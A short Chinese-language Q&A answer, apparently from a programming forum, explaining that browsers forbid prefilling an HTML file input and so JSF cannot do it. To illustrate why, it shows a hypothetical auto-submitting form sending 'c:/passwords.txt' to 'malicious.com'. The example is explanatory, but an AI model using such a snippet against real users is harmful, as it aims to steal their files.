2011-02-11 77 views

回答

4

這是不可能的。這是HTML的安全限制。您無法預先填寫/保留HTML <input type="file">字段的值。由於JSF只是生成HTML,因此JSF不能做太多的事情。

想象,這個安全限制是不存在的,網站將能夠做到以下幾點:

<form id="tryToGetPasswords" action="http://malicious.com" method="post" enctype="multipart/form-data"> 
    <input type="file" name="file" value="c:/passwords.txt" /> 
</form> 
<script>document.getElementById('tryToGetPasswords').submit();</script> 

你看到了嗎?